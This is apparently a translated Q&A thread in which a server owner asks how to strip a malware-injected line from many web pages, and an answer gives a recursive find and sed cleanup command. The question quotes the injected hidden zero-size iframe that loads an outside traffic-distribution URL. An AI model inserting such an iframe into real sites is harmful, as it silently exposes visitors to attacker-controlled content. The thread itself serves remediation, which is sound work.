我需要从多个文件中删除一行

Wae*_*ada 3 linux grep replace

恶意软件攻击了我的服务器并添加了以下行

<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
Run Code Online (Sandbox Code Playgroud)

我的许多页面

我如何用 grep 删除它,或者是否有任何其他方法可以将它从受影响的所有文件中删除

编辑:我看到有关使用 sed 的评论,但我需要一个递归解决方案(如果有的话)

谢谢

Sus*_*Pal 5

您可以使用find和sed递归查找所有感兴趣的文件并从中删除有问题的行。

例如,以下命令将从.html当前目录及其所有子目录的所有文件中删除有问题的行。

find . -name "*.html" -exec sed -i 's/<iframe src="http:\/\/pokosa.com\/tds\/go.php?sid=1" width="0" height="0" frameborder="0"><\/iframe>//' {} \;
Run Code Online (Sandbox Code Playgroud)